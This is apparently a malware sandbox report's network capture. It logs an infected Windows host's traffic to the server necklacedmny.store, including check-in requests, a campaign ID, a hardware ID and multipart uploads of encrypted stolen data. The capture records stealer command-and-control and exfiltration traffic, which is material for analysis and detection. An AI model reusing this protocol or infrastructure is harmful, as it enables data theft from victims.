2024-11-01 09:57:32 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-11-01 09:57:33 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vjmflnc7khog8no6s2hb7v50bm; expires=Tue, 25-Feb-2025 03:44:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dVzU5aosVEmlUx%2BN%2FfLzjr7AWCRR2u4sy%2Bnmy7LQhjyIGrkBJbypiYoP7QOLRV1xD%2F3pRiOWkhvBi%2Fvp8psYTsMFCwA5zokve7XSuup3Hl6XZfg9UUMrRBX7a2oL5k0RTGKj83U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb056e0f982c86-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1925&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=1494324&cwnd=235&unsent_bytes=0&cid=2b9786f65b340aeb&ts=676&x=0"
2024-11-01 09:57:33 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:57:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49978	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:35 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 09:57:35 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 09:57:36 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f0v2l53v8ol4tpo3b8otconiu1; expires=Tue, 25-Feb-2025 03:44:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7%2B9%2FzD8bh7XTeWgZg2aT39Koms0lYWhCm42734XI6IpbsOq%2FQHM4nmCvEI2UnDoAThJbFADUnHEaoG4fnmYuRvzPiF28N4focwDnk1VsHzVv31l1q1K%2BpLMKh0Il%2F%2FkPABNS%2FyY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb0582a9aa2e79-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1361&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2064148&cwnd=248&unsent_bytes=0&cid=541b929d8f264b17&ts=716&x=0"
2024-11-01 09:57:36 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 09:57:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49989	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:37 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 09:57:37 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 09:57:37 UTC	1008	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j2ve46l5m0t83oqn6da4nu8l63; expires=Tue, 25-Feb-2025 03:44:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tNf1i25iHJMOEPR4fPElgnMQTcHc8AspmtNkjNDofyplVdIJUUPzVCBRr7vAwDXZiDezj4zjrfRmZ%2FxhutMcPNp2lKKYAqZjoD64byp8Tw1d51mLIyZx9PbQBxiiG4MCA7V2ukE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb058d2bec4665-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=966&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2887337&cwnd=251&unsent_bytes=0&cid=453d7d582146499e&ts=511&x=0"
2024-11-01 09:57:37 UTC	361	IN	Data Raw: 34 64 66 0d 0a 64 63 4b 67 57 76 77 35 46 55 79 57 32 70 41 64 38 6f 54 35 71 49 66 6e 35 63 32 43 48 77 4b 55 4f 39 31 31 32 71 5a 66 49 66 51 4f 34 4e 5a 34 78 67 30 35 62 75 57 2f 73 69 65 47 39 6f 7a 4e 71 38 57 45 71 61 41 6c 5a 50 56 58 72 68 44 32 68 43 6c 4d 31 6b 2b 6b 77 54 61 50 58 44 6c 75 38 36 4b 79 4a 36 6e 2f 32 38 33 70 78 64 2f 76 35 33 56 67 39 56 65 2f 46 4c 48 4a 4c 30 32 58 48 61 37 48 4d 70 6c 61 63 53 33 36 74 2f 56 34 6c 2b 57 54 78 75 36 4b 6a 61 43 67 4d 79 44 78 51 66 39 50 2b 4f 73 36 56 5a 55 34 6f 39 4d 78 33 6b 51 35 4e 37 53 2f 2f 6a 2f 49 70 70 6a 4e 35 59 75 44 71 65 6c 33 61 76 78 66 76 68 47 77 31 6a 5a 48 6e 42 32 67 78 44 4f 54 55 32 55 67 38 4c 44 2b 66 70 33 6c 32 34 53 6c 67 70 2f 76 75 44 30 7a 78 46 71 75 42 71 Data Ascii: 4dfdcKgWvw5FUyW2pAd8oT5qIfn5c2CHwKUO9112qZfIfQO4NZ4xg05buW/sieG9ozNq8WEqaAlZPVXrhD2hClM1k+kwTaPXDlu86KyJ6n/283pxd/v53Vg9Ve/FLHJL02XHa7HMplacS36t/V4l+WTxu6KjaCgMyDxQf9P+Os6VZU4o9Mx3kQ5N7S//j/IppjN5YuDqel3avxfvhGw1jZHnB2gxDOTU2Ug8LD+fp3l24Slgp/vuD0zxFquBq
2024-11-01 09:57:37 UTC	893	IN	Data Raw: 65 6f 4c 74 6b 73 66 6f 68 59 71 6c 37 33 35 67 38 56 4f 31 47 4c 4c 41 4d 45 36 51 46 36 43 43 64 74 35 63 62 32 36 73 2b 4e 46 36 67 4f 47 58 33 4b 65 2f 78 37 43 75 5a 43 44 78 56 66 39 50 2b 4d 77 34 51 4a 55 63 72 38 45 77 6c 55 6c 33 50 50 4b 31 39 32 32 57 34 35 58 41 35 70 65 4e 6f 65 5a 2b 61 66 31 51 75 68 43 38 68 48 4d 44 6b 51 2f 67 6d 6e 69 2f 56 6e 77 69 2f 71 2f 79 50 34 2b 6f 67 6f 72 69 69 63 66 33 6f 48 6c 68 38 6c 69 37 47 62 62 41 4d 55 57 59 47 71 2f 45 4d 70 35 63 66 53 62 38 75 66 39 30 6e 2b 61 65 78 2b 47 44 69 36 37 6c 50 53 36 32 58 71 64 58 34 49 51 54 52 4a 55 46 34 76 63 37 6b 46 56 77 4f 4c 53 6e 76 47 62 51 34 5a 65 4b 76 63 57 4a 71 75 39 76 59 65 52 63 73 51 57 30 77 54 74 4f 6c 52 6d 67 78 7a 2b 54 56 58 45 70 39 37 44 Data Ascii: eoLtksfohYql735g8VO1GLLAME6QF6CCdt5cb26s+NF6gOGX3Ke/x7CuZCDxVf9P+Mw4QJUcr8EwlUl3PPK1922W45XA5peNoeZ+af1QuhC8hHMDkQ/gmni/Vnwi/q/yP4+ogoriicf3oHlh8li7GbbAMUWYGq/EMp5cfSb8uf90n+aex+GDi67lPS62XqdX4IQTRJUF4vc7kFVwOLSnvGbQ4ZeKvcWJqu9vYeRcsQW0wTtOlRmgxz+TVXEp97D
2024-11-01 09:57:37 UTC	1369	IN	Data Raw: 33 66 38 64 0d 0a 6e 2f 62 48 67 64 5a 7a 6f 69 63 66 76 67 49 6d 6a 35 58 4a 67 39 31 69 78 48 62 4f 45 63 77 4f 52 44 2b 43 61 65 4c 46 57 5a 7a 7a 2b 73 2b 4d 39 70 65 57 56 78 4f 4b 54 78 37 43 75 5a 43 44 78 56 66 39 50 2b 4d 38 37 54 35 6f 58 70 74 41 32 6b 55 6c 39 50 50 43 32 39 6e 4f 65 37 35 62 46 34 4a 65 44 72 2f 4a 38 5a 66 46 58 73 67 57 39 68 48 4d 44 6b 51 2f 67 6d 6e 69 6b 62 33 41 2b 35 62 2b 77 53 70 50 6f 6c 63 33 7a 78 5a 6a 68 2b 54 31 6e 2b 68 6e 6e 56 37 76 49 4d 45 71 54 47 4c 4c 49 4e 4a 39 4a 63 43 66 39 73 76 4e 78 6e 2b 32 58 7a 2f 65 4f 69 4b 66 76 66 47 33 37 55 72 73 58 2b 49 70 39 52 49 35 58 2b 49 49 5a 6b 31 52 6c 4c 65 58 36 78 33 79 65 36 4a 7a 63 70 5a 72 4a 74 71 42 36 62 4c 59 42 2f 78 61 30 79 44 78 4d 6b 42 32 6f Data Ascii: 3f8dn/bHgdZzoicfvgImj5XJg91ixHbOEcwORD+CaeLFWZzz+s+M9peWVxOKTx7CuZCDxVf9P+M87T5oXptA2kUl9PPC29nOe75bF4JeDr/J8ZfFXsgW9hHMDkQ/gmnikb3A+5b+wSpPolc3zxZjh+T1n+hnnV7vIMEqTGLLINJ9JcCf9svNxn+2Xz/eOiKfvfG37UrsX+Ip9RI5X+IIZk1RlLeX6x3ye6JzcpZrJtqB6bLYB/xa0yDxMkB2o
2024-11-01 09:57:37 UTC	1369	IN	Data Raw: 39 7a 4c 76 6d 7a 2f 48 47 5a 36 70 50 47 34 70 65 4b 71 75 68 33 61 66 4e 56 73 68 53 71 78 7a 77 44 32 46 65 6e 32 6e 6a 47 47 31 41 64 77 35 75 79 59 4e 37 2f 32 38 33 70 78 64 2f 76 34 58 56 6e 2b 46 32 74 47 61 72 4b 4f 6b 4f 51 48 36 6a 46 4e 4a 42 56 5a 53 62 31 75 50 78 77 6d 4f 2b 66 79 2b 47 42 69 36 69 67 4d 79 44 78 51 66 39 50 2b 4f 77 2b 57 59 78 56 6a 73 6b 34 6d 55 74 68 4e 62 53 6e 76 47 62 51 34 5a 65 4b 76 63 57 44 70 4f 70 30 59 2f 39 64 73 68 65 78 79 7a 52 4c 6d 78 2b 79 77 7a 4b 4d 58 33 49 76 2b 37 4c 32 64 35 7a 70 6c 38 37 33 6a 73 66 68 6f 48 70 34 74 67 48 2f 4e 37 50 53 48 6c 47 45 56 37 2b 4d 49 64 35 63 65 32 36 73 2b 50 74 7a 6b 65 65 52 7a 4f 36 41 69 71 2f 6c 64 32 66 36 57 62 38 55 76 73 49 77 53 35 34 62 72 4d 45 31 6d Data Ascii: 9zLvmz/HGZ6pPG4peKquh3afNVshSqxzwD2Fen2njGG1Adw5uyYN7/283pxd/v4XVn+F2tGarKOkOQH6jFNJBVZSb1uPxwmO+fy+GBi6igMyDxQf9P+Ow+WYxVjsk4mUthNbSnvGbQ4ZeKvcWDpOp0Y/9dshexyzRLmx+ywzKMX3Iv+7L2d5zpl873jsfhoHp4tgH/N7PSHlGEV7+MId5ce26s+PtzkeeRzO6Aiq/ld2f6Wb8UvsIwS54brME1m
2024-11-01 09:57:37 UTC	1369	IN	Data Raw: 79 74 76 4e 35 6e 4f 76 62 68 4b 57 43 6e 2b 2b 34 50 55 66 73 56 4c 6b 41 71 66 45 36 51 38 64 58 76 34 77 68 33 6c 78 37 62 71 7a 34 2f 33 4f 61 36 35 37 4f 37 59 4b 45 72 75 78 35 62 66 74 64 74 68 4f 39 31 69 39 46 6d 42 65 76 7a 44 65 53 53 58 6b 72 39 4c 53 79 4d 64 44 68 67 34 71 39 78 62 61 34 34 44 31 2f 75 45 44 2f 45 4c 53 45 5a 51 4f 5a 47 72 4c 4f 4e 35 35 61 64 43 72 2f 76 2f 52 35 6b 65 57 65 79 65 43 44 68 71 2f 73 64 32 66 2b 55 37 45 61 76 73 41 37 52 64 5a 5a 34 4d 55 67 33 67 4d 33 48 50 6d 32 2b 33 79 57 36 34 33 69 31 4d 57 59 34 66 6b 39 5a 2f 6f 5a 35 31 65 38 7a 7a 56 50 6b 78 2b 6c 77 7a 43 55 55 33 67 68 35 72 6e 39 64 70 66 74 6c 73 58 72 67 49 6d 39 35 33 5a 72 2f 6c 43 78 45 66 69 4b 66 55 53 4f 56 2f 69 43 44 70 31 56 66 44 Data Ascii: ytvN5nOvbhKWCn++4PUfsVLkAqfE6Q8dXv4wh3lx7bqz4/3Oa657O7YKErux5bftdthO91i9FmBevzDeSSXkr9LSyMdDhg4q9xba44D1/uED/ELSEZQOZGrLON55adCr/v/R5keWeyeCDhq/sd2f+U7EavsA7RdZZ4MUg3gM3HPm2+3yW643i1MWY4fk9Z/oZ51e8zzVPkx+lwzCUU3gh5rn9dpftlsXrgIm953Zr/lCxEfiKfUSOV/iCDp1VfD
2024-11-01 09:57:37 UTC	1369	IN	Data Raw: 62 5a 48 70 32 34 53 6c 67 70 2f 76 75 44 31 52 34 46 36 34 47 50 72 74 4f 6c 69 58 48 61 50 4a 4e 4e 35 45 4f 54 65 30 76 2f 34 2f 79 4b 61 57 78 75 69 42 6c 61 50 67 66 57 6e 78 55 36 30 59 74 38 6b 2b 51 35 4d 46 6f 64 41 33 6c 56 35 30 4b 76 75 33 2f 6e 65 61 70 74 57 4b 34 70 33 48 39 36 42 52 59 2b 64 54 2f 54 43 69 30 6a 70 50 68 78 79 74 7a 6e 69 42 46 57 35 75 38 37 53 79 4a 39 44 6d 6d 73 66 33 67 49 61 6c 36 6e 42 6f 2b 56 79 36 47 4c 7a 41 4e 6b 32 45 47 61 2f 43 50 70 56 61 63 69 33 2f 73 76 78 32 67 71 62 56 69 75 4b 64 78 2f 65 67 56 33 76 33 56 4c 4e 56 6c 73 38 72 52 4e 51 32 72 73 6b 2f 6b 6b 30 33 4d 62 71 68 73 6e 69 63 70 73 4f 4b 37 49 75 4c 72 4f 64 31 61 50 4e 5a 74 42 65 33 7a 6a 4e 45 68 42 32 73 79 43 71 52 57 48 6f 71 2b 62 4c Data Ascii: bZHp24Slgp/vuD1R4F64GPrtOliXHaPJNN5EOTe0v/4/yKaWxuiBlaPgfWnxU60Yt8k+Q5MFodA3lV50Kvu3/neaptWK4p3H96BRY+dT/TCi0jpPhxytzniBFW5u87SyJ9Dmmsf3gIal6nBo+Vy6GLzANk2EGa/CPpVaci3/svx2gqbViuKdx/egV3v3VLNVls8rRNQ2rsk/kk03MbqhsnicpsOK7IuLrOd1aPNZtBe3zjNEhB2syCqRWHoq+bL
2024-11-01 09:57:37 UTC	1369	IN	Data Raw: 5a 65 4b 76 63 57 48 71 2b 78 2b 5a 2f 68 57 73 68 69 2f 7a 7a 4a 4a 6d 41 57 76 78 7a 43 53 55 33 6f 38 2f 72 4c 67 64 70 6e 72 6c 63 4c 33 68 73 66 68 6f 48 70 34 74 67 48 2f 4a 62 4c 48 4d 56 57 62 47 4f 44 64 64 6f 63 62 63 43 4b 30 34 4c 4a 74 67 75 61 51 79 75 4b 4c 6c 61 37 6f 63 6d 72 32 58 37 51 64 75 38 30 35 54 5a 38 52 6f 63 38 35 6e 31 74 79 4c 76 32 71 2f 7a 2f 65 70 70 7a 53 70 64 33 48 6d 4f 78 32 55 66 56 50 2f 77 6a 32 33 58 31 45 6d 6c 66 34 67 6a 6d 4d 56 6e 38 71 39 4c 58 30 64 4a 48 6e 6d 4d 72 6c 68 6f 65 71 36 33 4a 6d 38 56 53 31 48 72 48 57 4e 55 65 45 46 36 7a 47 65 4e 41 62 63 44 61 30 34 4c 4a 50 6b 2b 32 58 79 75 69 51 78 37 43 75 5a 43 44 78 56 66 39 50 2b 4d 77 32 53 4a 41 63 6f 38 45 32 6c 56 46 34 49 66 36 2b 39 48 65 56 Data Ascii: ZeKvcWHq+x+Z/hWshi/zzJJmAWvxzCSU3o8/rLgdpnrlcL3hsfhoHp4tgH/JbLHMVWbGODddocbcCK04LJtguaQyuKLla7ocmr2X7Qdu805TZ8Roc85n1tyLv2q/z/eppzSpd3HmOx2UfVP/wj23X1Emlf4gjmMVn8q9LX0dJHnmMrlhoeq63Jm8VS1HrHWNUeEF6zGeNAbcDa04LJPk+2XyuiQx7CuZCDxVf9P+Mw2SJAco8E2lVF4If6+9HeV
2024-11-01 09:57:37 UTC	1369	IN	Data Raw: 6e 48 68 71 4c 77 65 69 43 34 47 62 6c 58 34 4a 52 7a 41 35 49 47 34 4a 70 6f 7a 41 41 69 66 61 50 6f 6f 47 44 65 2f 39 76 63 70 64 33 56 34 61 42 76 49 4b 34 5a 2b 42 53 71 31 6a 74 41 67 42 54 6e 2f 41 61 2b 55 48 73 74 2b 4c 6e 31 50 39 36 6d 6c 49 71 39 76 4d 65 73 38 6d 38 76 35 30 2b 79 42 37 2b 49 4e 56 4b 62 47 2b 43 4d 65 4e 4a 66 66 43 4c 78 76 2b 49 77 67 76 61 51 78 76 50 4a 67 37 32 67 4d 79 44 6e 55 72 41 46 74 73 4e 79 55 6f 41 61 73 4d 45 39 6d 52 64 2f 50 2f 6d 30 73 6a 48 51 38 35 44 47 34 34 69 53 34 50 46 72 59 2b 42 65 38 78 2b 70 79 54 45 44 71 56 6e 67 32 6e 6a 47 47 30 49 74 2b 72 62 31 61 59 47 72 75 38 48 70 68 6f 75 75 35 7a 30 75 74 6c 2f 2f 54 2b 75 4b 66 55 65 48 56 2f 69 53 61 73 55 4f 4a 48 6d 6b 36 75 30 78 69 61 61 4e 69 Data Ascii: nHhqLweiC4GblX4JRzA5IG4JpozAAifaPooGDe/9vcpd3V4aBvIK4Z+BSq1jtAgBTn/Aa+UHst+Ln1P96mlIq9vMes8m8v50+yB7+INVKbG+CMeNJffCLxv+IwgvaQxvPJg72gMyDnUrAFtsNyUoAasME9mRd/P/m0sjHQ85DG44iS4PFrY+Be8x+pyTEDqVng2njGG0It+rb1aYGru8Hphouu5z0utl//T+uKfUeHV/iSasUOJHmk6u0xiaaNi
2024-11-01 09:57:37 UTC	1369	IN	Data Raw: 68 6f 47 38 67 72 68 6e 34 47 62 58 46 50 6b 32 56 42 62 4c 45 4f 34 68 59 4d 42 44 4b 6e 66 39 79 6c 65 69 63 39 4e 75 6b 6a 62 2f 74 63 6d 66 49 5a 34 67 47 76 39 52 2f 5a 5a 55 42 6f 34 4a 32 33 6b 4d 33 64 72 53 5a 2b 47 2b 64 36 5a 79 4b 71 38 57 44 37 37 67 39 52 66 74 55 75 68 6d 2f 68 68 78 4a 68 68 71 76 78 58 6a 51 47 33 74 75 72 50 6a 7a 64 59 44 72 6c 4d 32 70 67 70 32 6f 6f 44 4d 67 2b 42 6e 6e 56 37 6e 4f 4c 55 36 5a 45 4f 7a 45 4e 70 41 62 61 47 44 74 2b 4f 51 2f 79 4c 58 56 69 76 66 46 33 2b 2b 6e 63 32 33 33 57 72 45 55 71 74 59 37 51 49 41 55 35 2f 77 47 75 31 5a 36 4b 2f 71 2f 7a 45 47 78 37 49 76 48 36 6f 4c 46 6a 2b 64 72 59 38 68 6e 69 41 61 2f 31 48 39 6c 6c 51 47 6a 67 6e 62 65 51 7a 64 32 74 4a 6e 34 62 35 33 70 6e 49 6a 46 67 70 Data Ascii: hoG8grhn4GbXFPk2VBbLEO4hYMBDKnf9yleic9Nukjb/tcmfIZ4gGv9R/ZZUBo4J23kM3drSZ+G+d6ZyKq8WD77g9RftUuhm/hhxJhhqvxXjQG3turPjzdYDrlM2pgp2ooDMg+BnnV7nOLU6ZEOzENpAbaGDt+OQ/yLXVivfF3++nc233WrEUqtY7QIAU5/wGu1Z6K/q/zEGx7IvH6oLFj+drY8hniAa/1H9llQGjgnbeQzd2tJn4b53pnIjFgp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49990	188.114.97.3	443	5448	C:\Users\user\AppData\Local\Temp\1003144001\9eba8044e7.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:37 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1295 Host: necklacedmny.store
2024-11-01 09:57:37 UTC	1295	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:57:38 UTC	1012	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 09:57:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=td134mnpdot2ksh72t9lvt3q8a; expires=Tue, 25-Feb-2025 03:44:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yp2X9460CXkWV90hYBq65CcFnixbmM38tE5aqeQu4WYa5wXIEFC7gt1TnEIlKnBzGQlrRypHZSuvMliCGhTRFwNn2FBGgz17kL7ewutb6gQMIFuuerq0%2FoouLK3s4%2Bp6RhM7SA8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dbb058dabfd4798-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1286&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2214&delivery_rate=2274941&cwnd=251&unsent_bytes=0&cid=0b91660b33c1baba&ts=734&x=0"
2024-11-01 09:57:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 09:57:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	50002	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 09:57:39 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-11-01 09:57:39 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 32 30 43 31 34 46 36 41 44 43 37 42 37 42 37 31 32 36 46 46 36 36 36 36 37 31 42 30 33 39 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"420C14F6ADC7B7B7126FF666671B0391--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 09:57:39 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
